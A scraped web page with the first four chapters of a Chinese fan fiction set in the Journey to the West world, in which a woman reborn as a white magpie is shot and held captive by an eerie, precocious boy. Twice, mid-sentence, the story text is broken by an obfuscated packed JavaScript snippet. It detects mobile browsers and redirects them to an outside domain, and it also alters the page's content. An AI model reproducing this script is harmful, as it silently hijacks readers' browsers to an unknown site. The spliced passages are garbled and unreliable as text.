《[西游]坠花惊鹊》 1. 第 1 章 穿越到异世界已经好几天了,姜怀愫依然没能适应自己现在这副身体。 因为她变成了一只鸟。 人类的双手能做许多细致的活,相比之下,喙和爪子的功能性就要差很多。 她在河边细细地端详过自己,标准的鸟样,长得一点也不威武,体型跟猛禽没法比。 经判断,应该是一只喜鹊。但羽毛是很罕见的白色,夹杂着灰。翅膀展开,还能看到飞羽末端有一圈不太明显的灰黑色光泽带,跟镶了花边似的。 异于同类的羽毛颜色给她带来不少麻烦,总有手欠的人类拿弹弓想要射她下来。 幸好姜怀愫还没完全掌握飞行技能,前行的轨迹连自己都无法预判,更别说那些拿她当移动靶的非职业选手。 磕磕绊绊地飞了半夜,总算远离人类城镇,来到了一片小树林。她站在枝头抖了抖羽毛,左顾右盼,希望能看到野果之类的东西,能衔来充饥。 上方一只骨骼弯曲的手垂落到她面前,手心摊开,里面是一把野山楂。“吃吗?” 姜怀愫吓得一哆嗦,顺着声音抬头一看,只见一只不明生物倒吊着挂在树枝上,上半身像人下半身像鸟,这场景说不出的诡异。 见她没答话,那半人半鸟的怪物把山楂一扔:“蠢鸟,不吃拉倒。” 怪物展臂,腋下至肋骨处显现出翼膜状的组织,好似一只长着人脸的大蝙蝠站起来了。姜怀愫惊恐后退,目送他骂骂咧咧地飞远。 后面几天,她又见到长腿的人参,自己给自己挠痒痒的老树,还有爱唱歌的杜鹃花。这片小树林中的氛围称得上祥和。 植物一般不会到处走动,动物们则要活跃很多,聚在一起的时候喜欢聊八卦。姜怀愫在旁边偷听,他们也不驱赶。 渐渐明白过来,这里是另一个截然不同的世界,不知是不是灵气丰裕的缘故,动植物居然可以修炼成人。 这让姜怀愫有了盼头,自己算是灵智已开的那类,起点就甩别人一大截,修炼起来岂不事半功倍。 打起精神,她决定先给自己筑个像样点的巢。薅来一些掉落在地的羽毛和兽毛,以及树枝和枯草,她终于打造出属于自己的安全屋,看上去歪歪扭扭,但避寒遮雨是够了。 在树林中度过了一个冬天,姜怀愫又有了新的领悟,那就是不要被肉食者的友好外表所迷惑。 虽然大家看起来很和谐,但有些动物是很危险的!比如那只狐狸,捕不到猎物,饿了三天肚子之后,就忍不住把自己正在冬眠的朋友挖出来吃掉了。 姜怀愫看得心惊胆战,第一次庆幸自己是鸟。这里少有大型猛禽出没,她没有什么天敌,巢筑在很高的树杈上,也不用担心自己会进走兽的食谱。 附近有只长尾山雀跟她关系还不错,在修行方面颇有造诣,有时候会指点她一二。 重要的是长尾山雀只喜欢吃小虫和果子,对姜怀愫造不成威胁,而且长得很可爱,从正面看完全就是个圆滚滚的汤圆,让她能比较轻松地放下戒心与之交往。 可冬天一过,长尾山雀就要离开这里回北方老家。姜怀愫消沉了一阵,望着枝头被初春染上的浅绿色,也开始思考起自己未来的去向。 几个月以来她只在这一小片区域活动,简直浪费了这对天赐的翅膀。如今她的飞行技能已经称得上熟练,跃跃欲试,想去更远的地方瞧瞧。 但姜怀愫也不是那么容易热血上头的人,出发前必须要做好计划。打听了一番,大家普遍表示往东走会更好,东边物产丰饶,少了争夺资源的风险。 啄木鸟姐姐就是从东边来的,她很详细地给出建议: “跟人类打交道要慎重,最好还是选孤山或者树林之类的地方。靠近傲来国的那片海中有座花果山,你可以去瞧瞧。不过听说那座山猴属猖狂,不知鸟类去了会不会被排挤。” 傲来国,花果山,这两个地名很不陌生。 姜怀愫心头一惊,继续追问:“傲来国......是东胜神洲的傲来国么?” 得到了肯定的回答,她思索:处处都与《西游记》撞了设定,难不成是书中世界? 毕竟连穿越这种离谱事都真实发生了,还有什么是不可能的。 几个月来头一回补充起地理知识,就给姜怀愫抛来了这么一个重磅炸弹。但也因此,她不再犹豫,敲定了去处—— “好,就去花果山!” 如果真是穿进了西游记,不去看看猴哥的话岂不白来一趟?况且姜怀愫对孙悟空的童年滤镜很重,坚信他是个好大王,绝不会排挤她的! 只是不知道如今是个什么时间点,孙悟空出山拜师了没有。 问题不大,就算扑了个空,她也可以在花果山安家,那里可是作者钦点的灵山福地,日精月华十分充裕,适合修炼。 这片树林所在的位置是南赡部洲。要去花果山,她得跨过东海。对自己的体力不是很有信心,她决定借助渔船行一段路。 心中充满了紧张与期待,姜怀愫告别了昔日的小伙伴,踏上新征途。 说来惭愧,作为一只鸟,她恐高。长达三个月的高空生活算是一种脱敏治疗,让她基本克服了恐惧。 但真正飞起来的时候,仍然只敢在低空盘旋,下方飞速掠过的景色,让她有点头晕目眩。 保持这样的高度,飞了三天两夜,姜怀愫来到一座小城。这里离东海已经很近了,她在这里停住脚,决定歇息一阵,补充体力。 接下来的旅程充满不确定性,她不能把全部希望寄托在出海的渔船上,人家只是捕鱼谋生,又不是玩命,必然不会去往太远的海域。 货船倒是走得远些,可惜数量太稀少,而且不一定与她同路。 如此看来,打铁还需自身硬,她得抓紧时间锻炼体能和耐力,以及进一步提升自己的飞行技巧,比如尝试更高的高度。 选择这座小城作为歇脚处,也是有这方面的考量。想着下方有虎视眈眈的人类,她的翅膀会拍打得更有劲。 实际上,绝大多数人对姜怀愫都未展露过攻击意图,但她曾经遇见过调皮的小孩,握着弹弓想要射她下来,而且不止一次。 因此她对所有人都保持着警惕,即使想要逛逛人类集市,也只能等到化形之后了。 姜怀愫在这小城中,一停就是半个月。在此期间,她每日高强度绕城飞行,体能和耐力的确有所增强,但暂时还没敢挑战太高的高度。 她现在的心理状态有点像立定跳远前,摆臂屈膝做准备的那个阶段,越是紧张就越是不敢跳。 毕竟她的翅膀远不如老鹰强壮,万一遇到什么极端天气,说不定就得葬身海腹。而且她之前从没来过这里,无法估量海岸离花果山的准确距离。 说来说去,跨海飞行这件事还是太有挑战性了。童年偶像就在对面,她却迟迟不敢迈出这一步。 她决定多观察观察岸边货船的去向,大不了再等些日子,找艘足够合适的顺风船,争取多搭一段路。 在这期间还能继续磨练自己的飞行技巧,加一分保障。 选了个阳光明媚的天气,姜怀愫站在城郊古树上,抬眼望天,准备挑战全新的高度。 振翅飞向天空的怀抱,她刚要体验一把高空翱翔的滋味,忽然身子一歪,右边翅膀无力地垂在身侧,再无法保持平衡,向下坠落。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他轻轻抚过她翅膀上的伤口,眼中稀薄的怜悯之意转瞬即逝。被金属光泽的羽毛吸引住,他流露出感兴趣的神色,拨弄了两下。 “很漂亮。”他不吝夸赞,“不知能不能取下来,缝在衣裙上,送给娘亲。她应当会喜欢的。” 三少爷生得一副好相貌,皮肤雪白,衣裳也雪白。腰间系着做工精巧的红色束带,好似雪地里一串红枫,惹眼极了。可惜,披着这样一张漂亮皮囊,内里却是只小恶鬼! 姜怀愫挣扎了一下,她可不想变秃毛鸟。 他轻压住她扑腾的翅膀,一根手指抵在喉部,摩挲着那里的绒毛。 姜怀愫悚然,很识时务地不动弹了。 “你能听懂我说话,是么?” 姜怀愫叫苦不迭,早知如此,方才就不挣扎了。这小孩太敏锐,立马就察觉出她不是普通的鸟。 心底盘算着,是该装傻到底,还是顺着他的话摊牌。 小少爷忽然露出个甜甜的笑,松开了扼在姜怀愫喉间的手指,转而摸了摸她的脑袋,好像有点安抚的意思在。 声音也适时软下来:“小鸟怎么在发抖呢?不要紧张,同我说说话,好吗?别不理我。” 如果不是伤口还在持续作痛,姜怀愫肯定会被眼前人这副乖巧模样给蒙蔽——他眼中正涌动着欣喜与好奇的光彩,孩子般的天真,不似作假。方才忽悠侍从的时候可不是这个样。 姜怀愫曾经听小伙伴说过,有些人对妖族恶意很大。 此时若承认自己是妖,可能会招致更加可怕的后果。 2. 第 2 章 姜怀愫最终还是被那人带回了府中。 果然是有钱人家的少爷,连给她准备的鸟笼都是定制款,铜制盖板上镶嵌着花丝,精致极了。 可再精致,也不代表她乐意住在里边儿,当个供人观赏的物件。忽然就拿到金丝雀的剧本,她很惶恐。 伤口已经被包扎好了,没有伤及骨头,养些日子就能恢复。但那小子真的很中意她的羽毛,给她处理好伤口后,顺势薅走了几根飞羽。 在羽毛重新长出来之前,她都没法进行远距离飞行了! 刚入府的前几天,她坚定当哑巴,别人搭话一概不理,但吃喝是不拒的,把自己养得油光水滑总没错。 只是可惜,她的出行计划不得不延后了,要等羽毛和伤口都恢复,才有机会逃出这所宅院。 目前掌握到的信息是,这家老爷似乎是当官的,名叫贞礼敬,他的夫人叫乔殷,二人诞有一子——正是射伤姜怀愫的那个小混蛋。 小混蛋是个男娃,名字却很女孩气,唤作贞妙莲。 莲心妙境,多么高洁美好的意象,安在他身上真的合适吗?姜怀愫对此持怀疑态度。 不过,也多亏了妙莲常常提着鸟笼四处走动,才能让她从周围人的对话中打探到这许多信息。 唯一不解的是,府中明明就贞妙莲一个孩子,怎么人人都叫他三少爷?大少爷和二少爷哪去了?姜怀愫不得其解,只能暂且按下疑惑,走一步看一步。 后宅宽阔,竹竿横架在游廊边,用来晾晒衣物。丫鬟手持长杆,准备将篓中的衣物被褥都挑上去,趁着天气好,驱驱霉气。 妙莲瞧见了,便要过去帮忙,随手将鸟笼挂在了旁边的树枝上。 丫鬟对他笑:“三少爷,这些琐事交给我们就是。你安心遛鸟儿。” 他撇撇嘴:“遛鸟不好玩儿,她不理我,也不同我说话。” 鸟儿如何能说话。丫鬟笑而不语,作势要去逗弄那笼中的喜鹊,语气带着点哄孩子的意味:“那一定是只坏鸟,既不活泼,也不讨喜。” “约莫是我射伤了她的翅膀,记恨我。” 丫鬟哑然。她刚入府没多久,与三少爷交集不多,但听别人说过,少爷有时会去城郊猎些鸟兽。 原来,这只喜鹊也是猎回来的。 妙莲似乎不想再多说,自顾自拿起长杆,将厚重的被褥往横竿上挂。做这事时他显得很轻松,且乐在其中。 就连做惯了粗活的丫鬟也做不到这般游刃有余,揉了揉有些酸痛的手臂,自觉退到一旁。 七岁的孩子有着这样惊人的力气,府内其他人似乎都习以为常了,丫鬟却是第一次亲眼见识,难免惊奇。 跟她一样感到惊奇的,还有笼子里的姜怀愫。 妙莲人都没架子高,需要仰着头,把长杆举得高高的,才能把衣裳挂上去。 可过程中他的手很稳当......姜怀愫想,开弓射箭时,他的手应该也是这么稳当。 他一边干活,一边在纱绸质地的衣料间游走穿梭,显然是玩耍性质居多。雪一样的皮肤在阳光几近透明,快要与白纱融为一体,仰头时因阳光耀目而微微眯起眼睛。 看见风将纱绸吹得翩然起舞,他眼神有些放空,伸手去触摸。借着摇曳的薄纱,他幻想起云的触感。 不......不对。云肯定比这个软很多。 姜怀愫歪头注视着他。这副相貌的确很具欺骗性,真像是坠入凡间的小神仙,马上就要乘风而去。 丫鬟也有些发愣,心想小少爷要是长大了,舞刀弄枪一定很具优势,毕竟有这天生神力。 出神的这片刻,她没注意到,脚边树根与泥土的缝隙中,钻出一条蛇来。 刚结束了冬眠期,正是饥肠辘辘的时候。它需要觅食。 姜怀愫比丫鬟更早察觉到这位不速之客的造访,一眼看过去,心脏差点停跳。 她知道自己就在蛇类食谱中,偏偏此时被困在笼子里,无法躲到更高的地方去。 但这条蛇并没有第一时间攻击姜怀愫,它慢慢爬到丫鬟脚边,似乎在判断眼前这个人类会不会对它造成威胁。 体背有黑白横纹......应该是银环蛇?带毒的! 姜怀愫心惊胆战地看着它那颗小而扁的脑袋贴上了丫鬟的裤腿。 一瞬间嘴比头脑更快做出反应,她提醒道: “小心脚下!” 丫鬟立马低头,被吓得后跳了一步,然而那蛇已经做出攻击姿态,身体盘绕,头部抬起,像根蓄势待发的弹簧。 没人看清妙莲是什么时候闪到丫鬟身边的。在蛇刚刚绷直了身体,毒牙露出,即将要在丫鬟脚踝咬上一口的时候......他伸出手,轻巧地捏住了蛇头后方的部位。 被制住要害,蛇身无力地扭动了两下,尾巴缠上妙莲的手臂,却没法调动肌肉去勒紧,更无法绞杀这个人类。 很快,它便彻底失了反抗的力气,像瘫软下去的橡皮泥一样,任妙莲搓扁揉圆。 丫鬟惊魂未定地缩在树后,眼看危机解除,她又想起了方才那道凭空出现的声音......若不是被提醒,她肯定已经被咬中了。 丫鬟开始四处张望寻找声源,而姜怀愫把头埋在翅膀下面装死。 妙莲瞥了小鸟一眼,收回目光,嘴角挂上了笑意。 “我要去遛鸟玩蛇了,剩下的你自己晾。” “哦......哦。”丫鬟反应过来,连忙正色道,“多谢少爷相救!” 再不敢拿他当小孩取乐,丫鬟态度谦慎了许多,吞吞吐吐道:“呃,还有,刚才......那声音您听到了吗?” “什么声音。” “音色像是女孩子,喊了一声‘小心脚下’。” “这里除了你,还有别的姑娘吗?” “没有,可是......” 妙莲一本正经地打断她:“大概是墙外路人在说话,落到你耳中,误打误撞,警醒了你。” 懒得再跟丫鬟继续掰扯,他哼着古怪又缥缈的曲调离开了后宅。一手提鸟笼,一手捏毒蛇,背影潇洒得像个老大爷。 姜怀愫心如死灰地缩在笼子一角,本以为回房后免不了要被盘问一番,没想到妙莲只是将笼子放在书桌上,便又拎着毒蛇出门去了。 她从天亮等到天黑,人都麻了,紧张的情绪消散了个一干二净。 在逼仄的鸟笼中展开翅膀,扑腾了两下,她想念起那些自由飞翔的时日。望着夜空,真想一个猛子扎进云里。 正巧此时,妙莲捧着个纹漆盘走进来。 “傻鸟,在发脾气?”他在姜怀愫面前已经完全不装乖,“给你送吃的来了,快尝尝,我的手艺。” 她确实有些饿了,精神一振。 妙莲把盘中肉泥倒进她的小食盒里,“猜猜,今天是什么肉?” 食盒内散发出一股奇特的腥气,她有点不敢下口。前几天吃的多是谷物 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“说明你灵智已开。”妙莲托腮,“好事呀。” “你会杀我吗?” “我杀你做什么,难道喜鹊肉很好吃?” 她连忙道:“不好吃不好吃,谁吃谁后悔。” “那不就对了,与其吃了你,不如留着你解闷儿。”妙莲愉快道,“虽然是有人高价收购妖肉,但我不差钱。” “对,对。留着我比杀了我划算的多,情绪价值买不来。” 妙莲不置可否地笑了一声,嘲讽意味很明显。 姜怀愫眨巴眼睛,喉咙里咕噜了两声,扮起可怜。鸟在屋檐下哪能不低头,此时寻不着逃跑的机会,先别得罪他才是真的,否则蛇的下场就是她的下场。 “情绪价值......目前还没体会到。” “之前是我们还不熟,没有敞开心扉。以后就不一样了!” “这样啊。” 确认了自己暂时没有性命之忧,姜怀愫大着胆子,去试探妙莲的态度。 “不过我寿命很短,陪不了你几年。”其实是她想知道,妙莲究竟要关她到什么时候。总不能关一辈子吧? 妙莲不以为然:“这个不用担心,寿命短的是我,不是你。” 她委婉道:“我是只喜鹊。”喜鹊的平均寿命绝对不比人长! “你灵智已开,自然不能再与普通鸟儿相提并论。而我——”他指了指自己,“我不修仙,便只是个寿数有限的凡人。” “......” 其实,就算妙莲说自己是仙人,姜怀愫也不会怀疑的,因为他身上实在有许多异常之处。 过度的早慧使他身上有种奇特的矛盾感。有时,他的言行举止十分成熟,有时,又会流露出很自然的孩子般的神态。 然而,他声称自己是凡人,似乎对修仙并不感兴趣。 “你们妖怪的修炼方式,我在话本里看到过。”妙莲掰着手指道,“无非就是采气、修心、吸纳日精月华......哦,听说还有通过吃人心来增长修为的。” “我这里没有人心给你吃。日精月华倒是要多少有多少,留在这儿,并不妨碍你修炼。” 不行啊。姜怀愫想,她的目标地点是花果山,怎么可以被截停在这里! 3. 第 3 章 每逢妙莲出门,贞老爷一定会派出侍从跟紧他。 与其说是保护,不如说是监视。妙莲的一言一行,都会被侍从绘声绘色地转述给贞老爷。 但妙莲并不经常出门。许多时候,他只待在房中,逗逗鸟,看看书。 诗书、话本、游记、宝卷......他不挑剔,什么类型都能读一读。 看得这么杂,难怪会有那些稀奇古怪的知识储备,姜怀愫不奇怪了。 经过多日观察,姜怀愫已大致摸清了这家人的生活习性,四个字总结——“各过各的”。 贞老爷为官,乔夫人经商,互不干涉,各司其职,没有太多工夫来维系家庭温情。一家三口差不多只在饭点时分进行会面,跟打卡似的。 但这对父母又十分清楚妙莲异于常人,不得不让人看顾着他。他俩的育娃模式,半是放养,半是禁锢。 不过,相比之下还是乔殷照顾儿子多些,自然与儿子更加亲近。 偶尔围观一家三口共进午餐,夫人和妙莲会客气地往对方碗里夹菜,脸上挂着看不出是否真心的笑,也算是一种母慈子孝。 贞老爷就没有这个待遇了,妙莲连戏也懒得做,看见老爹就没好脸色。 如此过去半月,姜怀愫天天吃瓜看戏,腰间又贴了二两膘。她愁啊,这样下去,还怎么远走高飞。 “你的伤口痊愈得很快。”妙莲替她拆掉细布条,“我觉得不用包扎了。” “但是羽毛还没长好,唉。本来还想缝在衣裙上做装饰,这几根哪里够用。”他看起来很遗憾。 听到他的邪恶发言,姜怀愫心头一阵战栗。羽毛于她而言可不是装饰,长了拔,拔了长,这辈子都别想飞了。 “也猎过些大鸟,可惜羽毛太粗硬,比不上你的。” ......谢谢,这种夸奖她并不想要。 “贞妙莲。” “嗯?” “你之前说,为了防止伤口磕碰才将我关在笼子里。”她同他商量,“现在我伤好得差不多,能不能不待鸟笼了?” “原来你不喜欢这个笼子么,我觉得挺好看呢。” 她好声好气道:“你家也很漂亮,不见得你一直愿意待在府里。” “那倒是。”妙莲小手一挥,“那我以后把鸟笼门打开,方便你自由出入。” 还以为要磨很久才能说服他,没想到诉求这么容易就被满足,实属意料之外。 然而姜怀愫没来得及高兴,妙莲又补充道:“对了,在笼子外面的时候,不要离开我的视野范围。” “......” 好吧,来日方长,只要踏出了第一步,迟早能寻到逃跑的机会。 贞府的餐桌上,常有几道增色的野味,大都是妙莲从郊外猎来的。 姜怀愫不由庆幸,妙莲只是看中了她的羽毛,对喜鹊肉不感兴趣,否则她说不定也得上桌。 用饭时刻,贞家三人各坐一方,不发一言,只是吃饭夹菜。 贞老爷脸色不大好看,忍了又忍,终于忍不住,鼻腔里挤出一道短促的气音,像是在冷笑。 见没人理自己,他又用鼻子哼了一声。 妙莲看向他,露出一言难尽的表情:“爹,不可以把鼻涕喷到菜里。” “......胡闹!”贞老爷战术性无视了妙莲的话,指着他肩膀上的喜鹊,怒道,“你又带这只鸟来用饭,是指望它能给你布菜?” “怎么不能。”妙莲语气温柔地说,“愫愫,我想吃鸡腿,帮我夹。” 姜怀愫使出装死的老招数,把头埋在翅膀下面,隔绝外界一切噪音。 贞老爷一拍筷子:“荒唐!” 乔殷扶额:“老爷,你嗓门一大,我就头疼。” 误入家庭纷争现场,姜怀愫一声不吱,在妙莲肩膀上安静当挂件。 除了妙莲以外,别人都以为她只是一只普通喜鹊,因毛色奇特才得了三少爷青睐。贞老爷没想向一只小鸟发难,只不过看儿子不顺眼,哪哪都是错。 乔殷的头疼看起来不是装的,爷俩一吵架,她就扶额叹气,眉头皱得能夹死苍蝇。 姜怀愫倒无所谓,只要拳头不落在自己身上,她乐得看热闹。 反正这家人都不正常,各有各的病状。 贞老爷偏狂躁症,一言不合就摔东西。 乔夫人偏妄想症,宣称自己有三儿一女,实际上只生过妙莲一个。经大夫诊断,是早年小产脑子受了打击,才时时犯痴。不过她只会在这个问题上犯糊涂,其它时候脑子清醒得很。 府中人得了老爷授意,都顺着夫人的意思,叫妙莲三少爷。至于大少爷二少爷和小小姐,不知在哪朵云里飘着呢。 妙莲么,病情就更复杂了,有点像人格分裂。情感和行为方面完全不似一个正常的七岁儿童,心眼通透,早慧得过了头,情绪却比四月的天气还要变化多端。说孩子不像孩子,说大人不像大人。 姜怀愫疲于应对,只想早点跟这群人说拜拜。 温婉的娘,威严的爹,聪颖的他。如此难能可贵的家庭组合怎能打出这样一手烂牌? “愫愫,你又不理睬我。”妙莲逆着毛撸了她一把,“不想夹鸡腿,夹别的也行啊,你夹什么我吃什么。” ......神经病啊!姜怀愫差点炸毛,用鸟嘴推开他的手指。 贞老爷按捺着火气:“算了......好好吃饭。” “我倒是想。” 贞老爷重新拿起筷子,瞪了儿子一眼:“呵,再装疯卖傻,让下人看了笑话。” 一顿饭就这样不欢而散,乔殷身体不适率先离席,贞老爷也紧随其后。 妙莲还在往自己碗里夹菜,两颊鼓鼓囊囊,一嚼一嚼,看起来没吃饱。 姜怀愫从他左肩膀跳到右肩膀。羽毛没长全,飞不高,就只能这样蹦跶。 “下次吃饭要不别带我了?” 妙莲用筷子的另一头夹了根青菜,喂到她嘴边,“这个好吃。” 姜怀愫偏头看他一眼,叼走那根青菜咽了下去。脆爽清甜,的确是她喜欢的口味。 妙莲这才慢吞吞道:“不带上你的话,你就只能一个人待在房间,多可怜。” 求之不得好吗!妙莲干巴巴笑了一声:“可是,若贞老爷迁怒......” “放心。他看不惯的只有我一个而已,不会迁怒别人。” 倒是挺有自知之明的。 这下姜怀愫没话说了,面露惆怅,在妙莲肩膀上漫步。 忽然脚下传来别样的柔软触感,她低头一看,不好,一时不察走岔了地儿,踩到人家头上去了! 她讪讪道:“我不是故意......” “没关系。”妙莲并不介意,甚至放缓了进食的幅度,不再晃动脑袋,使她能站得更稳当。 啧,搞不懂他,有时独断专行,有时又宽容大度得很。 但姜怀愫哪敢在这尊大佛头上久待,跳回到肩膀上,老实站着不动弹了。 在贞府,纵使有千般不好万般不愿,唯有一点,不能昧着良心说不行。 那就是伙食。 就算世界上最挑食的喜鹊,在这儿也能被喂养得膘肥体壮。 妙莲精神上苛待她,物质上倒是没有。一月过去,她的伤口已经完全痊愈,羽毛也快要恢复如初。 姜怀愫心中暗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447201|169434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喜,面上却不显,还装作伤没好全的样子,不肯在妙莲面前暴露飞行姿态,免得刚飞走就让他给抓回来。 如今她在笼外的自由活动时间全都被迫用来与妙莲做伴,他不去上学,没有玩伴,天天沉浸在自己的小世界,还非得捎带上一个她。 到了晚上,姜怀愫回鸟笼休息,妙莲顺手锁上笼门。她心中嗤之以鼻,说好的自由出入呢! 妙莲灭了灯,不过多时,她也在栖木上昏昏欲睡起来,脑中不忘思索自己的逃跑计划。该怎么做才能支开妙莲,制造一个在笼外单独行动的机会...... 还没想明白,她已被睡意拉扯着坠入梦乡,呼吸渐匀。 第二天,第一缕阳光照进窗户的时候,她的美梦结束了。 睁开眼睛,抖了抖羽毛,她立马就察觉到不对劲。低头一看,踝上竟多出一道细细的金链,环状卡扣与她的皮肉几乎严丝合缝,存在感强到无法忽视。 “为了不吵醒你,我动作放得很轻。不过,你睡得也真够死。” 大开的笼门外,是妙莲灿烂的笑脸,“这下你不用再待在笼子里啦,我知道你的羽毛和伤口都长好了,以后可以飞高高。” 他展开双手,比划了一下,“这条链子大概有——这么长,足以让你自由活动。” 天杀的贞妙莲!! 姜怀愫气得差点吐血,刚刚燃起的希望之火就这样被浇灭,狠狠啄了两下链子,不仅没解气,还把喙尖磕得生疼。 链子的另一端,锻接了一只粗壮的金色镯子,不知是由什么打造而成,重量极沉。往地上一扔简直稳如泰山,死死定住了她的活动范围。 并且妙莲可以将这镯子戴在手上,以此控制姜怀愫的行动。 眼见他纤细的手腕居然能驾驭那道沉重的锁链而不被压断骨头,姜怀愫倍感遗憾。 他爹的,不会真要熬到贞妙莲老死才能重获自由吧? 不,不。姜怀愫安慰自己,没到那么凄惨的地步。 说不定努力修炼五十年,等妙莲变成老头,就能打败他? 又或者妙莲出门突然被马车撞死,落得个幼年早逝...... 思想逐渐朝着奇怪的方向滑坡,白喜鹊快要变成黑喜鹊。 妙莲挠了挠她脑瓜顶上的毛:“怎么蔫头耷脑的。” “我......” 他突然道:“你想走。” 姜怀愫的求生欲还在作祟,忍着没抨击他,也没回答他,就当是默认了。本以为妙莲会装傻到底呢,既然问出来了,她还能昧着良心说不想么! 她想的不得了! “如果你有本事逃走,我不追你。”妙莲把下巴搁在桌面上,平视着她,嘴角扬起,“可如果没本事的话......就再陪我玩儿一阵吧。这么弱,出去了也会被吃掉。” 他没说这个“一阵”是多久。 “我一个人待着无聊的很,人人都有事要忙,不跟我说话。不过,我也不想跟他们说话,还是跟你玩儿更自在。” “打猎的规矩......谁射中就归谁。我射中你了,所以我可以处置你,难道不是?” “笨鸟、傻鸟,又把头埋进翅膀里不理我。” “愫愫。”他戳弄她,“姜怀愫。” 她烦的不得了,一声高亢的鸟鸣瞬间炸开:“干嘛!” “......怎么突然这么大声,吓我一跳。” 妙莲不大高兴,晃了晃手中的链子,“好了,我是想说,还有一种可能。” “如果我玩腻了,也放你走。” 什么反派发言,她两眼一黑,觉得还是趁月黑风高夜偷偷抹了他脖子比较现实。 4. 第 4 章 已经过去了好几个月,妙莲依然没有玩腻这场跨物种交友游戏,姜怀愫也没找到机会抹他脖子。 有种在魔王手下讨生活的心酸,姜怀愫心里骂了妙莲不知多少回,面上还得维持着如沐春风的模样,免得哪天就被下锅,做成一道油炸喜鹊。 她感觉自己像惊悚喜剧片里的玩偶芬利,暗杀主人八百次,成功零次。别说暗杀了,连恶作剧都没成功过。 每次尝试给妙莲使绊子,他总能识破伎俩,将计就计,反来作弄她。 她故意飞得很高,围着妙莲转圈圈,跟他搭话,吸引他注意。实则是想让他忽视前方路况,踩进泥坑里,最好摔一跤,吃一肚子泥。 结果妙莲没进坑。倒是她因为全部注意力都放在他身上,一时不察,撞在树干上,摔了个七荤八素。 妙莲乐不可支:“害人终害己,这句话竟是真的。” ......原来他看出来了。姜怀愫郁闷不已,保持着那个摔落在地的姿势,面朝大地背朝天,一动不动。 妙莲把她拎起来抖了抖,拍掉羽毛上沾染的灰尘。“不行啊,你这样子。至少要使出点攻击类法术,才能让我吃瘪吧?” “你好歹也是妖,怎么这么弱。话本里,妖杀人如切菜的。”他做了个抹脖子的动作。 她闷闷道:“我还没有修炼到那种级别。” “那你抓紧修炼,以后我们就能玩点刺激的。” “什么刺激的?”姜怀愫大惊,将来妙莲不会要跟她玩拿刀对砍的游戏吧,现在嫌她太弱,做不了对手。 果然,妙莲思索了片刻,开朗道:“比如切磋一下刀法剑法拳法?妖比人结实很多,不容易坏掉,你放心。” 姜怀愫立马提醒道:“我连人形都没化,不能拿刀弄剑,更没有拳头。” “所以要抓紧修炼。”话题又扯回来,“上个月我给你的那几本书看了没有?” “......看了。”但她有点质疑那几本书的权威性。 《引气长生决》《月华淬体录》《万法归宗》,标题瞧着一个比一个唬人,但这些都只是妙莲从一个游方老道的手里淘来的,不知是经了几手的旧书,封皮缺边少角,内页墨迹模糊。 她委婉地问道:“你照着那几本书练过吗?” “练过,觉得有用才给你的。” “......那你习得长生之术了吗?”姜怀愫有点傻眼,她还想着有朝一日能把妙莲熬死,到头来别是他得道成仙,黑发人送白毛鸟。 “我练不好。”妙莲摇了摇头,“那老道说这书只卖有缘人,可见我跟仙法没缘分。” “可他把书卖你了。” “那是因为我加钱了。”妙莲面色阴沉,“抬价到原来的十倍,他才改口说我根骨奇佳仙缘深厚,即便道法难成,试上一试也无妨。” 姜怀愫忍住笑意,板起脸装严肃:“哦,原来如此。你也别灰心,说不定那书根本没用。我试着练练吧,有什么心得再告诉你。” 其实她想的是,如果妙莲没成功而她成功了,岂不是能狠狠打这优等生的脸!扬眉吐气! 瞬间就动力翻倍了呢。 书中提到,清净的水源能聚集灵气,提升修炼效果。正好附近有片海,可以利用起来。 妙莲也不嫌麻烦,带着她去海边静坐修心,一坐就是一天。 咸咸的海风吹在脸上,还真有种能让人安宁下来的奇妙效力。 姜怀愫坐在礁石上吐纳调息,按照书中所说,忘却自己的存在,融入这一方天地,只用心去感知万物、采撷灵气。 山是山,海是海,云是云。世间的一切都慢下来,她好似也变成某种流动的物质,向着海平线延伸,听到了更远的声音,看到了更远的风景。 一天的修炼结束,往往疲惫不堪。这种时候,妙莲就会把她顶在头上,带她回府。 妙莲说得不错,那些书的确有用,教的是真本事。 她有些疑惑。明明妙莲是属于天赋异禀的那一类,又九窍四肢皆俱。怎么她练得,妙莲反而练不得? “你不再试试么?”她问妙莲。 “没必要,练不了就是练不了。只可惜,花大价钱买下来的东西,白白便宜了你。” ......别那么小气,关她这么久,这几本书就当是精神损失费好吗。当然,这话她没敢说出口,生怕妙莲反悔,要把书收回去。 又是一年冬天,除夕将近,府中早早挂上了红灯笼,张罗着过节。 可除去这些色彩鲜艳的装饰,一切与往常似乎并无不同。 府中没有因为春节的到来而变得热闹起来,甚至因为有几个婆子告假回乡探亲,而显得更加冷清。 今日,妙莲出门后设法支开了随身侍从。但他并未利用这时机去城郊找乐子,而是抱着姜怀愫漫无目的地走了一段,最后在离家不远的一处石阶上坐下了。 此时天空还在飘小雪,他也不嫌冷,自顾自观察着来往的行人和马匹,嘴里时不时蹦出个数字——他是在数,眼前一共过去了几条腿。 对此姜怀愫已经习惯了,反正妙莲经常想一出是一出,做些莫名其妙的事。大概是精力过剩,没有同龄玩伴,只能自己想法子消遣时间。 细碎的雪花落在他的睫毛和头发上,遮掉了本就不多的颜色,使他看起来更加苍白,好似要随着呼出的水雾一起融化在这里。 “五百三十二条腿。”他往后一仰,“不数啦,好无聊。” “是五百三十一条。有个老头右腿是木头做的,不算。” “你怎么也在数?” “......我们难道不是在比赛?”姜怀愫从他臂弯里跳出来,“我以为你在跟我比谁坚持得久。” 